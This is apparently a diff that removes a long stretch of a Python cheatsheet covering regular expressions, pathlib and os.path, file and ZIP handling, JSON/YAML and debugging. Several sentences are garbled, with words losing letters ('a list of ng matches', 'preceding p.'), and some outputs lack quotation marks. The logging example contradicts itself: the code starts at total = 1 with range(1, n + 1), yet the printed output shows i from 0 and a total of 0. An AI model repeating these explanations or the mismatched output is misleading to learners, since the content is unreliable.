->>> mo1.group()
-'HaHaHa'
-```
-
-```python
->>> mo2 = ha_regex.search('Ha')
->>> mo2 is None
-True
-```
-
-_Return to the Top_
-
-#### Greedy and Nongreedy Matching
-
-Python's regular expressions are greedy by default, which means that in ambiguous situations they will match the longest string possible. The non-greedy version of the curly brackets, which matches the shortest string possible, has the closing curly bracket followed by a question mark.
-
-```python
->>> greedy_ha_regex = re.compile(r'(Ha){3,5}')
->>> mo1 = greedy_ha_regex.search('HaHaHaHaHa')
->>> mo1.group()
-'HaHaHaHaHa'
-```
-
-```python
->>> nongreedy_ha_regex = re.compile(r'(Ha){3,5}?')
->>> mo2 = nongreedy_ha_regex.search('HaHaHaHaHa')
->>> mo2.group()
-'HaHaHa'
-```
-
-_Return to the Top_
-
-#### The findall() Method
-
-In addition to the search() method, Regex objects also have a findall() method. While search() will return a Match object of the first matched text in the searched string, the findall() method will return the strings of every match in the searched string.
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d') # has no groups
-
->>> phone_num_regex.findall('Cell: 415-555-9999 Work: 212-555-0000')
-['415-555-9999', '212-555-0000']
-```
-
-To summarize what the findall() method returns, remember the following:
-
--   When called on a regex with no groups, such as \d-\d\d\d-\d\d\d\d, the method findall() returns a list of ng matches, such as \['415-555-9999', '212-555-0000'].
--   When called on a regex that has groups, such as (\d\d\d)-(d\d)-(\d\d\d\d), the method findall() returns a list of es of strings (one string for each group), such as \[('415', '555', '9999'), ('212', '555', '0000')].
-
-_Return to the Top_
-
-#### Making Your Own Character Classes
-
-There are times when you want to match a set of characters but the shorthand character classes (\d, \w, \s, and so on) are too broad. You can define your own character class using square brackets. For example, the character class \[aeiouAEIOU] will match any vowel, both lowercase and uppercase.
-
-```python
->>> vowel_regex = re.compile(r'[aeiouAEIOU]')
-
->>> vowel_regex.findall('Robocop eats baby food. BABY FOOD.')
-['o', 'o', 'o', 'e', 'a', 'a', 'o', 'o', 'A', 'O', 'O']
-```
-
-You can also include ranges of letters or numbers by using a hyphen. For example, the character class \[a-zA-Z0-9] will match all lowercase letters, uppercase letters, and numbers.
-
-By placing a caret character (^) just after the character class's opening bracket, you can make a negative character class. A negative character class will match all the characters that are not in the character class. For example, enter the following into the interactive shell:
-
-```python
->>> consonant_regex = re.compile(r'[^aeiouAEIOU]')
-
->>> consonant_regex.findall('Robocop eats baby food. BABY FOOD.')
-['R', 'b', 'c', 'p', ' ', 't', 's', ' ', 'b', 'b', 'y', ' ', 'f', 'd', '.', '
-', 'B', 'B', 'Y', ' ', 'F', 'D', '.']
-```
-
-_Return to the Top_
-
-#### The Caret and Dollar Sign Characters
-
--   You can also use the caret symbol (^) at the start of a regex to indicate that a match must occur at the beginning of the searched text.
--   Likewise, you can put a dollar sign ($) at the end of the regex to indicate the string must end with this regex pattern.
--   And you can use the ^ and $ together to indicate that the entire string must match the regex—that is, it's not enough for a match to be made on some subset of the string.
-
-The r'^Hello' regular expression string matches strings that begin with 'Hello':
-
-```python
->>> begins_with_hello = re.compile(r'^Hello')
-
->>> begins_with_hello.search('Hello world!')
-<_sre.SRE_Match object; span=(0, 5), match='Hello'>
-
->>> begins_with_hello.search('He said hello.') is None
-True
-```
-
-The r'\d$' regular expression string matches strings that end with a numeric character from 0 to 9:
-
-```python
->>> whole_string_is_num = re.compile(r'^\d+$')
-
->>> whole_string_is_num.search('1234567890')
-<_sre.SRE_Match object; span=(0, 10), match='1234567890'>
-
->>> whole_string_is_num.search('12345xyz67890') is None
-True
-
->>> whole_string_is_num.search('12 34567890') is None
-True
-```
-
-_Return to the Top_
-
-#### The Wildcard Character
-
-The . (or dot) character in a regular expression is called a wildcard and will match any character except for a newline:
-
-```python
->>> at_regex = re.compile(r'.at')
-
->>> at_regex.findall('The cat in the hat sat on the flat mat.')
-['cat', 'hat', 'sat', 'lat', 'mat']
-```
-
-_Return to the Top_
-
-#### Matching Everything with Dot-Star
-
-```python
->>> name_regex = re.compile(r'First Name: (.*) Last Name: (.*)')
-
->>> mo = name_regex.search('First Name: Al Last Name: Sweigart')
-
->>> mo.group(1)
-'Al'
-```
-
-```python
->>> mo.group(2)
-'Sweigart'
-```
-
-The dot-star uses greedy mode: It will always try to match as much text as possible. To match any and all text in a nongreedy fashion, use the dot, star, and question mark (.\*?). The question mark tells Python to match in a nongreedy way:
-
-```python
->>> nongreedy_regex = re.compile(r'<.*?>')
->>> mo = nongreedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man>'
-```
-
-```python
->>> greedy_regex = re.compile(r'<.*>')
->>> mo = greedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man> for dinner.>'
-```
-
-_Return to the Top_
-
-#### Matching Newlines with the Dot Character
-
-The dot-star will match everything except a newline. By passing re.DOTALL as the second argument to re.compile(), you can make the dot character match all characters, including the newline character:
-
-```python
->>> no_newline_regex = re.compile('.*')
->>> no_newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.'
-```
-
-```python
->>> newline_regex = re.compile('.*', re.DOTALL)
->>> newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.\nProtect the innocent.\nUphold the law.'
-```
-
-_Return to the Top_
-
-#### Review of Regex Symbols
-
-| Symbol                   | Matches                                                |
-| ------------------------ | ------------------------------------------------------ |
-| `?`                      | zero or one of the preceding group.                    |
-| `*`                      | zero or more of the preceding group.                   |
-| `+`                      | one or more of the preceding group.                    |
-| `{n}`                    | exactly n of the preceding group.                      |
-| `{n,}`                   | n or more of the preceding group.                      |
-| `{,m}`                   | 0 to m of the preceding group.                         |
-| `{n,m}`                  | at least n and at most m of the preceding p.           |
-| `{n,m}?` or `*?` or `+?` | performs a nongreedy match of the preceding p.         |
-| `^spam`                  | means the string must begin with spam.                 |
-| `spam$`                  | means the string must end with spam.                   |
-| `.`                      | any character, except newline characters.              |
-| `\d`, `\w`, and `\s`     | a digit, word, or space character, respectively.       |
-| `\D`, `\W`, and `\S`     | anything except a digit, word, or space, respectively. |
-| `[abc]`                  | any character between the brackets (such as a, b, ).   |
-| `[^abc]`                 | any character that isn't between the brackets.         |
-
-_Return to the Top_
-
-#### Case-Insensitive Matching
-
-To make your regex case-insensitive, you can pass re.IGNORECASE or re.I as a second argument to re.compile():
-
-```python
->>> robocop = re.compile(r'robocop', re.I)
-
->>> robocop.search('Robocop is part man, part machine, all cop.').group()
-'Robocop'
-```
-
-```python
->>> robocop.search('ROBOCOP protects the innocent.').group()
-'ROBOCOP'
-```
-
-```python
->>> robocop.search('Al, why does your programming book talk about robocop so much?').group()
-'robocop'
-```
-
-_Return to the Top_
-
-#### Substituting Strings with the sub() Method
-
-The sub() method for Regex objects is passed two arguments:
-
-1. The first argument is a string to replace any matches.
-2. The second is the string for the regular expression.
-
-The sub() method returns a string with the substitutions applied:
-
-```python
->>> names_regex = re.compile(r'Agent \w+')
-
->>> names_regex.sub('CENSORED', 'Agent Alice gave the secret documents to Agent Bob.')
-'CENSORED gave the secret documents to CENSORED.'
-```
-
-Another example:
-
-```python
->>> agent_names_regex = re.compile(r'Agent (\w)\w*')
-
->>> agent_names_regex.sub(r'\1****', 'Agent Alice told Agent Carol that Agent Eve knew Agent Bob was a double agent.')
-A**** told C**** that E**** knew B**** was a double agent.'
-```
-
-_Return to the Top_
-
-#### Managing Complex Regexes
-
-To tell the re.compile() function to ignore whitespace and comments inside the regular expression string, "verbose mode" can be enabled by passing the variable re.VERBOSE as the second argument to re.compile().
-
-Now instead of a hard-to-read regular expression like this:
-
-```python
-phone_regex = re.compile(r'((\d{3}|\(\d{3}\))?(\s|-|\.)?\d{3}(\s|-|\.)\d{4}(\s*(ext|x|ext.)\s*\d{2,5})?)')
-```
-
-you can spread the regular expression over multiple lines with comments like this:
-
-```python
-phone_regex = re.compile(r'''(
-    (\d{3}|\(\d{3}\))?            # area code
-    (\s|-|\.)?                    # separator
-    \d{3}                         # first 3 digits
-    (\s|-|\.)                     # separator
-    \d{4}                         # last 4 digits
-    (\s*(ext|x|ext.)\s*\d{2,5})?  # extension
-    )''', re.VERBOSE)
-```
-
-_Return to the Top_
-
-### Handling File and Directory Paths
-
-There are two main modules in Python that deals with path manipulation. One is the `os.path` module and the other is the `pathlib` module. The `pathlib` module was added in Python 3.4, offering an object-oriented way to handle file system paths.
-
-_Return to the Top_
-
-#### Backslash on Windows and Forward Slash on OS X and Linux
-
-On Windows, paths are written using backslashes (`\`) as the separator between folder names. On Unix based operating system such as macOS, Linux, and BSDs, the forward slash (`/`) is used as the path separator. Joining paths can be a headache if your code needs to work on different platforms.
-
-Fortunately, Python provides easy ways to handle this. We will showcase how to deal with this with both `os.path.join` and `pathlib.Path.joinpath`
-
-Using `os.path.join` on Windows:
-
-```python
->>> import os
-
->>> os.path.join('usr', 'bin', 'spam')
-'usr\\bin\\spam'
-```
-
-And using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr').joinpath('bin').joinpath('spam'))
-usr/bin/spam
-```
-
-`pathlib` also provides a shortcut to joinpath using the `/` operator:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr') / 'bin' / 'spam')
-usr/bin/spam
-```
-
-Notice the path separator is different between Windows and Unix based operating system, that's why you want to use one of the above methods instead of adding strings together to join paths together.
-
-Joining paths is helpful if you need to create different file paths under the same directory.
-
-Using `os.path.join` on Windows:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
-
->>> for filename in my_files:
->>>     print(os.path.join('C:\\Users\\asweigart', filename))
-C:\Users\asweigart\accounts.txt
-C:\Users\asweigart\details.csv
-C:\Users\asweigart\invite.docx
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
->>> home = Path.home()
->>> for filename in my_files:
->>>     print(home / filename)
-/home/asweigart/accounts.txt
-/home/asweigart/details.csv
-/home/asweigart/invite.docx
-```
-
-_Return to the Top_
-
-#### The Current Working Directory
-
-Using `os` on Windows:
-
-```python
->>> import os
-
->>> os.getcwd()
-'C:\\Python34'
->>> os.chdir('C:\\Windows\\System32')
-
->>> os.getcwd()
-'C:\\Windows\\System32'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> from os import chdir
-
->>> print(Path.cwd())
-/home/asweigart
-
->>> chdir('/usr/lib/python3.6')
->>> print(Path.cwd())
-/usr/lib/python3.6
-```
-
-_Return to the Top_
-
-#### Creating New Folders
-
-Using `os` on Windows:
-
-```python
->>> import os
->>> os.makedirs('C:\\delicious\\walnut\\waffles')
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir()
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-  File "/usr/lib/python3.6/pathlib.py", line 1226, in mkdir
-    self._accessor.mkdir(self, mode)
-  File "/usr/lib/python3.6/pathlib.py", line 387, in wrapped
-    return strfunc(str(pathobj), *args)
-FileNotFoundError: [Errno 2] No such file or directory: '/home/asweigart/delicious/walnut/waffles'
-```
-
-Oh no, we got a nasty error! The reason is that the 'delicious' directory does not exist, so we cannot make the 'walnut' and the 'waffles' directories under it. To fix this, do:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir(parents=True)
-```
-
-And all is good :)
-
-_Return to the Top_
-
-#### Absolute vs. Relative Paths
-
-There are two ways to specify a file path.
-
--   An absolute path, which always begins with the root folder
--   A relative path, which is relative to the program's current working directory
-
-There are also the dot (.) and dot-dot (..) folders. These are not real folders but special names that can be used in a path. A single period ("dot") for a folder name is shorthand for "this directory." Two periods ("dot-dot") means "the parent folder."
-
-_Return to the Top_
-
-#### Handling Absolute and Relative Paths
-
-To see if a path is an absolute path:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isabs('/')
-True
->>> os.path.isabs('..')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_absolute()
-True
->>> Path('..').is_absolute()
-False
-```
-
-You can extract an absolute path with both `os.path` and `pathlib`
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.getcwd()
-'/home/asweigart'
->>> os.path.abspath('..')
-'/home'
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
-print(Path.cwd())
-/home/asweigart
-print(Path('..').resolve())
-/home
-```
-
-You can get a relative path from a starting path to another path.
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.relpath('/etc/passwd', '/')
-'etc/passwd'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> print(Path('/etc/passwd').relative_to('/'))
-etc/passwd
-```
-
-_Return to the Top_
-
-#### Checking Path Validity
-
-Checking if a file/directory exists:
-
-Using `os.path` on \*nix:
-
-```python
-import os
->>> os.path.exists('.')
-True
->>> os.path.exists('setup.py')
-True
->>> os.path.exists('/etc')
-True
->>> os.path.exists('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
->>> Path('.').exists()
-True
->>> Path('setup.py').exists()
-True
->>> Path('/etc').exists()
-True
->>> Path('nonexistentfile').exists()
-False
-```
-
-Checking if a path is a file:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isfile('setup.py')
-True
->>> os.path.isfile('/home')
-False
->>> os.path.isfile('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('setup.py').is_file()
-True
->>> Path('/home').is_file()
-False
->>> Path('nonexistentfile').is_file()
-False
-```
-
-Checking if a path is a directory:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isdir('/')
-True
->>> os.path.isdir('setup.py')
-False
->>> os.path.isdir('/spam')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_dir()
-True
->>> Path('setup.py').is_dir()
-False
->>> Path('/spam').is_dir()
-False
-```
-
-_Return to the Top_
-
-#### Finding File Sizes and Folder Contents
-
-Getting a file's size in bytes:
-
-Using `os.path` on Windows:
-
-```python
->>> import os
->>> os.path.getsize('C:\\Windows\\System32\\calc.exe')
-776192
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> stat = Path('/bin/python3.6').stat()
->>> print(stat) # stat contains some other information about the file as well
-os.stat_result(st_mode=33261, st_ino=141087, st_dev=2051, st_nlink=2, st_uid=0,
---snip--
-st_gid=0, st_size=10024, st_atime=1517725562, st_mtime=1515119809, st_ctime=1517261276)
->>> print(stat.st_size) # size in bytes
-10024
-```
-
-Listing directory contents using `os.listdir` on Windows:
-
-```python
->>> import os
->>> os.listdir('C:\\Windows\\System32')
-['0409', '12520437.cpx', '12520850.cpx', '5U877.ax', 'aaclient.dll',
---snip--
-'xwtpdui.dll', 'xwtpw32.dll', 'zh-CN', 'zh-HK', 'zh-TW', 'zipfldr.dll']
-```
-
-Listing directory contents using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> for f in Path('/usr/bin').iterdir():
->>>     print(f)
-...
-/usr/bin/tiff2rgba
-/usr/bin/iconv
-/usr/bin/ldd
-/usr/bin/cache_restore
-/usr/bin/udiskie
-/usr/bin/unix2dos
-/usr/bin/t1reencode
-/usr/bin/epstopdf
-/usr/bin/idle3
-...
-```
-
-To find the total size of all the files in this directory:
-
-**WARNING**: Directories themselves also have a size! So you might want to check for whether a path is a file or directory using the methods in the methods discussed in the above section!
-
-Using `os.path.getsize()` and `os.listdir()` together on Windows:
-
-```python
->>> import os
->>> total_size = 0
-
->>> for filename in os.listdir('C:\\Windows\\System32'):
-      total_size = total_size + os.path.getsize(os.path.join('C:\\Windows\\System32', filename))
-
->>> print(total_size)
-1117846456
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> total_size = 0
-
->>> for sub_path in Path('/usr/bin').iterdir():
-...     total_size += sub_path.stat().st_size
->>>
->>> print(total_size)
-1903178911
-```
-
-_Return to the Top_
-
-#### Copying Files and Folders
-
-The shutil module provides functions for copying files, as well as entire folders.
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
-   'C:\\delicious\\spam.txt'
-
->>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
-   'C:\\delicious\\eggs2.txt'
-```
-
-While shutil.copy() will copy a single file, shutil.copytree() will copy an entire folder and every folder and file contained in it:
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copytree('C:\\bacon', 'C:\\bacon_backup')
-'C:\\bacon_backup'
-```
-
-_Return to the Top_
-
-#### Moving and Renaming Files and Folders
-
-```python
->>> import shutil
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs\\bacon.txt'
-```
-
-The destination path can also specify a filename. In the following example, the source file is moved and renamed:
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs\\new_bacon.txt')
-'C:\\eggs\\new_bacon.txt'
-```
-
-If there is no eggs folder, then move() will rename bacon.txt to a file named eggs.
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs'
-```
-
-_Return to the Top_
-
-#### Permanently Deleting Files and Folders
-
--   Calling os.unlink(path) or Path.unlink() will delete the file at path.
--   Calling os.rmdir(path) or Path.rmdir() will delete the folder at path. This folder must be empty of any files or folders.
--   Calling shutil.rmtree(path) will remove the folder at path, and all files and folders it contains will also be deleted.
-
-_Return to the Top_
-
-#### Safe Deletes with the send2trash Module
-
-You can install this module by running pip install send2trash from a Terminal window.
-
-```python
->>> import send2trash
-
->>> with open('bacon.txt', 'a') as bacon_file: # creates the file
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> send2trash.send2trash('bacon.txt')
-```
-
-_Return to the Top_
-
-#### Walking a Directory Tree
-
-```python
->>> import os
->>>
->>> for folder_name, subfolders, filenames in os.walk('C:\\delicious'):
->>>     print('The current folder is {}'.format(folder_name))
->>>
->>>     for subfolder in subfolders:
->>>         print('SUBFOLDER OF {}: {}'.format(folder_name, subfolder))
->>>     for filename in filenames:
->>>         print('FILE INSIDE {}: {}'.format(folder_name, filename))
->>>
->>>     print('')
-The current folder is C:\delicious
-SUBFOLDER OF C:\delicious: cats
-SUBFOLDER OF C:\delicious: walnut
-FILE INSIDE C:\delicious: spam.txt
-
-The current folder is C:\delicious\cats
-FILE INSIDE C:\delicious\cats: catnames.txt
-FILE INSIDE C:\delicious\cats: zophie.jpg
-
-The current folder is C:\delicious\walnut
-SUBFOLDER OF C:\delicious\walnut: waffles
-
-The current folder is C:\delicious\walnut\waffles
-FILE INSIDE C:\delicious\walnut\waffles: butter.txt
-```
-
-_Return to the Top_
-
-`pathlib` provides a lot more functionality than the ones listed above, like getting file name, getting file extension, reading/writing a file without manually opening it, etc. Check out the [official documentation](https://docs.python.org/3/library/pathlib.html) if you want to know more!
-
-### Reading and Writing Files
-
-#### The File Reading/Writing Process
-
-To read/write to a file in Python, you will want to use the `with` statement, which will close the file for you after you are done.
-
-_Return to the Top_
-
-#### Opening and reading files with the open() function
-
-```python
->>> with open('C:\\Users\\your_home_folder\\hello.txt') as hello_file:
-...     hello_content = hello_file.read()
->>> hello_content
-'Hello World!'
-
->>> # Alternatively, you can use the *readlines()* method to get a list of string values from the file, one string for each line of text:
-
->>> with open('sonnet29.txt') as sonnet_file:
-...     sonnet_file.readlines()
-[When, in disgrace with fortune and men's eyes,\n', ' I all alone beweep my
-outcast state,\n', And trouble deaf heaven with my bootless cries,\n', And
-look upon myself and curse my fate,']
-
->>> # You can also iterate through the file line by line:
->>> with open('sonnet29.txt') as sonnet_file:
-...     for line in sonnet_file: # note the new line character will be included in the line
-...         print(line, end='')
-
-When, in disgrace with fortune and men's eyes,
-I all alone beweep my outcast state,
-And trouble deaf heaven with my bootless cries,
-And look upon myself and curse my fate,
-```
-
-_Return to the Top_
-
-#### Writing to Files
-
-```python
->>> with open('bacon.txt', 'w') as bacon_file:
-...     bacon_file.write('Hello world!\n')
-13
-
->>> with open('bacon.txt', 'a') as bacon_file:
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> with open('bacon.txt') as bacon_file:
-...     content = bacon_file.read()
-
->>> print(content)
-Hello world!
-Bacon is not a vegetable.
-```
-
-_Return to the Top_
-
-#### Saving Variables with the shelve Module
-
-To save variables:
-
-```python
->>> import shelve
-
->>> cats = ['Zophie', 'Pooka', 'Simon']
->>> with shelve.open('mydata') as shelf_file:
-...     shelf_file['cats'] = cats
-```
-
-To open and read variables:
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(type(shelf_file))
-...     print(shelf_file['cats'])
-<class 'shelve.DbfilenameShelf'>
-['Zophie', 'Pooka', 'Simon']
-```
-
-Just like dictionaries, shelf values have keys() and values() methods that will return list-like values of the keys and values in the shelf. Since these methods return list-like values instead of true lists, you should pass them to the list() function to get them in list form.
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(list(shelf_file.keys()))
-...     print(list(shelf_file.values()))
-['cats']
-[['Zophie', 'Pooka', 'Simon']]
-```
-
-_Return to the Top_
-
-#### Saving Variables with the pprint.pformat() Function
-
-```python
->>> import pprint
-
->>> cats = [{'name': 'Zophie', 'desc': 'chubby'}, {'name': 'Pooka', 'desc': 'fluffy'}]
-
->>> pprint.pformat(cats)
-"[{'desc': 'chubby', 'name': 'Zophie'}, {'desc': 'fluffy', 'name': 'Pooka'}]"
-
->>> with open('myCats.py', 'w') as file_obj:
-...     file_obj.write('cats = {}\n'.format(pprint.pformat(cats)))
-83
-```
-
-_Return to the Top_
-
-#### Reading ZIP Files
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.namelist())
-...     spam_info = example_zip.getinfo('spam.txt')
-...     print(spam_info.file_size)
-...     print(spam_info.compress_size)
-...     print('Compressed file is %sx smaller!' % (round(spam_info.file_size / spam_info.compress_size, 2)))
-
-['spam.txt', 'cats/', 'cats/catnames.txt', 'cats/zophie.jpg']
-13908
-3828
-'Compressed file is 3.63x smaller!'
-```
-
-_Return to the Top_
-
-#### Extracting from ZIP Files
-
-The extractall() method for ZipFile objects extracts all the files and folders from a ZIP file into the current working directory.
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
-
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     example_zip.extractall()
-```
-
-The extract() method for ZipFile objects will extract a single file from the ZIP file. Continue the interactive shell example:
-
-```python
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.extract('spam.txt'))
-...     print(example_zip.extract('spam.txt', 'C:\\some\\new\\folders'))
-'C:\\spam.txt'
-'C:\\some\\new\\folders\\spam.txt'
-```
-
-_Return to the Top_
-
-#### Creating and Adding to ZIP Files
-
-```python
->>> import zipfile
-
->>> with zipfile.ZipFile('new.zip', 'w') as new_zip:
-...     new_zip.write('spam.txt', compress_type=zipfile.ZIP_DEFLATED)
-```
-
-This code will create a new ZIP file named new.zip that has the compressed contents of spam.txt.
-
-_Return to the Top_
-
-### JSON, YAML and configuration files
-
-#### JSON
-
-Open a JSON file with:
-
-```python
-import json
-with open("filename.json", "r") as f:
-    content = json.loads(f.read())
-```
-
-Write a JSON file with:
-
-```python
-import json
-
-content = {"name": "Joe", "age": 20}
-with open("filename.json", "w") as f:
-    f.write(json.dumps(content, indent=2))
-```
-
-_Return to the Top_
-
-#### YAML
-
-Compared to JSON, YAML allows for much better human maintainability and gives you the option to add comments. It is a convenient choice for configuration files where humans will have to edit it.
-
-There are two main libraries allowing to access to YAML files:
-
--   [PyYaml](https://pypi.python.org/pypi/PyYAML)
--   [Ruamel.yaml](https://pypi.python.org/pypi/ruamel.yaml)
-
-Install them using `pip install` in your virtual environment.
-
-The first one it easier to use but the second one, Ruamel, implements much better the YAML specification, and allow for example to modify a YAML content without altering comments.
-
-Open a YAML file with:
-
-```python
-from ruamel.yaml import YAML
-
-with open("filename.yaml") as f:
-    yaml=YAML()
-    yaml.load(f)
-```
-
-_Return to the Top_
-
-#### Anyconfig
-
-[Anyconfig](https://pypi.python.org/pypi/anyconfig) is a very handy package allowing to abstract completely the underlying configuration file format. It allows to load a Python dictionary from JSON, YAML, TOML, and so on.
-
-Install it with:
-
-```bash
-pip install anyconfig
-```
-
-Usage:
-
-```python
-import anyconfig
-
-conf1 = anyconfig.load("/path/to/foo/conf.d/a.yml")
-```
-
-_Return to the Top_
-
-### Debugging
-
-#### Raising Exceptions
-
-Exceptions are raised with a raise statement. In code, a raise statement consists of the following:
-
--   The raise keyword
--   A call to the Exception() function
--   A string with a helpful error message passed to the Exception() function
-
-```python
->>> raise Exception('This is the error message.')
-Traceback (most recent call last):
-  File "<pyshell#191>", line 1, in <module>
-    raise Exception('This is the error message.')
-Exception: This is the error message.
-```
-
-Often it's the code that calls the function, not the function itself, that knows how to handle an exception. So you will commonly see a raise statement inside a function and the try and except statements in the code calling the function.
-
-```python
-def box_print(symbol, width, height):
-    if len(symbol) != 1:
-      raise Exception('Symbol must be a single character string.')
-    if width <= 2:
-      raise Exception('Width must be greater than 2.')
-    if height <= 2:
-      raise Exception('Height must be greater than 2.')
-    print(symbol * width)
-    for i in range(height - 2):
-        print(symbol + (' ' * (width - 2)) + symbol)
-    print(symbol * width)
-for sym, w, h in (('*', 4, 4), ('O', 20, 5), ('x', 1, 3), ('ZZ', 3, 3)):
-    try:
-        box_print(sym, w, h)
-    except Exception as err:
-        print('An exception happened: ' + str(err))
-```
-
-_Return to the Top_
-
-#### Getting the Traceback as a String
-
-The traceback is displayed by Python whenever a raised exception goes unhandled. But can also obtain it as a string by calling traceback.format_exc(). This function is useful if you want the information from an exception's traceback but also want an except statement to gracefully handle the exception. You will need to import Python's traceback module before calling this function.
-
-```python
->>> import traceback
-
->>> try:
->>>      raise Exception('This is the error message.')
->>> except:
->>>      with open('errorInfo.txt', 'w') as error_file:
->>>          error_file.write(traceback.format_exc())
->>>      print('The traceback info was written to errorInfo.txt.')
-116
-The traceback info was written to errorInfo.txt.
-```
-
-The 116 is the return value from the write() method, since 116 characters were written to the file. The traceback text was written to errorInfo.txt.
-
-```
-Traceback (most recent call last):
-  File "<pyshell#28>", line 2, in <module>
-Exception: This is the error message.
-```
-
-_Return to the Top_
-
-#### Assertions
-
-An assertion is a sanity check to make sure your code isn't doing something obviously wrong. These sanity checks are performed by assert statements. If the sanity check fails, then an AssertionError exception is raised. In code, an assert statement consists of the following:
-
--   The assert keyword
--   A condition (that is, an expression that evaluates to True or False)
--   A comma
--   A string to display when the condition is False
-
-```python
->>> pod_bay_door_status = 'open'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
->>> pod_bay_door_status = 'I\'m sorry, Dave. I\'m afraid I can\'t do that.'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
-Traceback (most recent call last):
-  File "<pyshell#10>", line 1, in <module>
-    assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-AssertionError: The pod bay doors need to be "open".
-```
-
-In plain English, an assert statement says, "I assert that this condition holds true, and if not, there is a bug somewhere in the program." Unlike exceptions, your code should not handle assert statements with try and except; if an assert fails, your program should crash. By failing fast like this, you shorten the time between the original cause of the bug and when you first notice the bug. This will reduce the amount of code you will have to check before finding the code that's causing the bug.
-
-Disabling Assertions
-
-Assertions can be disabled by passing the -O option when running Python.
-
-_Return to the Top_
-
-#### Logging
-
-To enable the logging module to display log messages on your screen as your program runs, copy the following to the top of your program (but under the #! python shebang line):
-
-```python
-import logging
-
-logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
-```
-
-Say you wrote a function to calculate the factorial of a number. In mathematics, factorial 4 is 1 × 2 × 3 × 4, or 24. Factorial 7 is 1 × 2 × 3 × 4 × 5 × 6 × 7, or 5,040. Open a new file editor window and enter the following code. It has a bug in it, but you will also enter several log messages to help yourself figure out what is going wrong. Save the program as factorialLog.py.
-
-```python
->>> import logging
->>>
->>> logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
->>>
->>> logging.debug('Start of program')
->>>
->>> def factorial(n):
->>>
->>>     logging.debug('Start of factorial(%s)' % (n))
->>>     total = 1
->>>
->>>     for i in range(1, n + 1):
->>>         total *= i
->>>         logging.debug('i is ' + str(i) + ', total is ' + str(total))
->>>
->>>     logging.debug('End of factorial(%s)' % (n))
->>>
->>>     return total
->>>
->>> print(factorial(5))
->>> logging.debug('End of program')
-2015-05-23 16:20:12,664 - DEBUG - Start of program
-2015-05-23 16:20:12,664 - DEBUG - Start of factorial(5)
-2015-05-23 16:20:12,665 - DEBUG - i is 0, total is 0
-2015-05-23 16:20:12,668 - DEBUG - i is 1, total is 0
-2015-05-23 16:20:12,670 - DEBUG - i is 2, total is 0
-2015-05-23 16:20:12,673 - DEBUG - i is 3, total is 0
-2015-05-23 16:20:12,675 - DEBUG - i is 4, total is 0
-2015-05-23 16:20:12,678 - DEBUG - i is 5, total is 0
-2015-05-23 16:20:12,680 - DEBUG - End of factorial(5)
-0
-2015-05-23 16:20:12,684 - DEBUG - End of program
-```
-
-_Return to the Top_
-
-#### Logging Levels
-
-Logging levels provide a way to categorize your log messages by importance. There are five logging levels, described in Table 10-1 from least to most important. Messages can be logged at each level using a different logging function.
-
